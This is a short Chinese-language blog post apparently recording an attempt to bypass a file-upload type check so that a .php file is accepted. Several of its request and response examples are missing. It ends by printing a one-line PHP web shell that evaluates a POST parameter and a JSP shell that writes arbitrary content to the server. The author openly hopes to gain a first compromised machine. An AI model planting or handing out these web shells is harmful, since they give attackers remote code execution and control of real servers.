1.发现

昨天盲目地请求了一番后,最终上传的文件服务器都认为是image/jpeg格式,把请求的文件类型改成txt/php(实际上是乱改的,没这种东西)也没用,返回依旧是认为图片。

但今天偶然直接把它改成“php”后返回的文件类型终于变了,于是开始研究。

2.开始乱发请求

发送如下请求:

服务器接收:

访问文件:

GET /223.jsp?f=1.txt&t=hello123123 HTTP/1.1

服务器返回的文件类型改变:

直接去掉文件类型:

再访问:

GET /666.php HTTP/1.1

服务器返回:

成功识别为php格式。

3.总结

并不清楚原理是什么,不过涉猎了点php,jsp入门知识。

希望很快能拥有自己的第一只可爱的小肉鸡,打破学了两年毫无成果的僵局。

4.相关文件

liveroom.html

1.php

<?php @eval($_POST['pass']);?>

1.jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>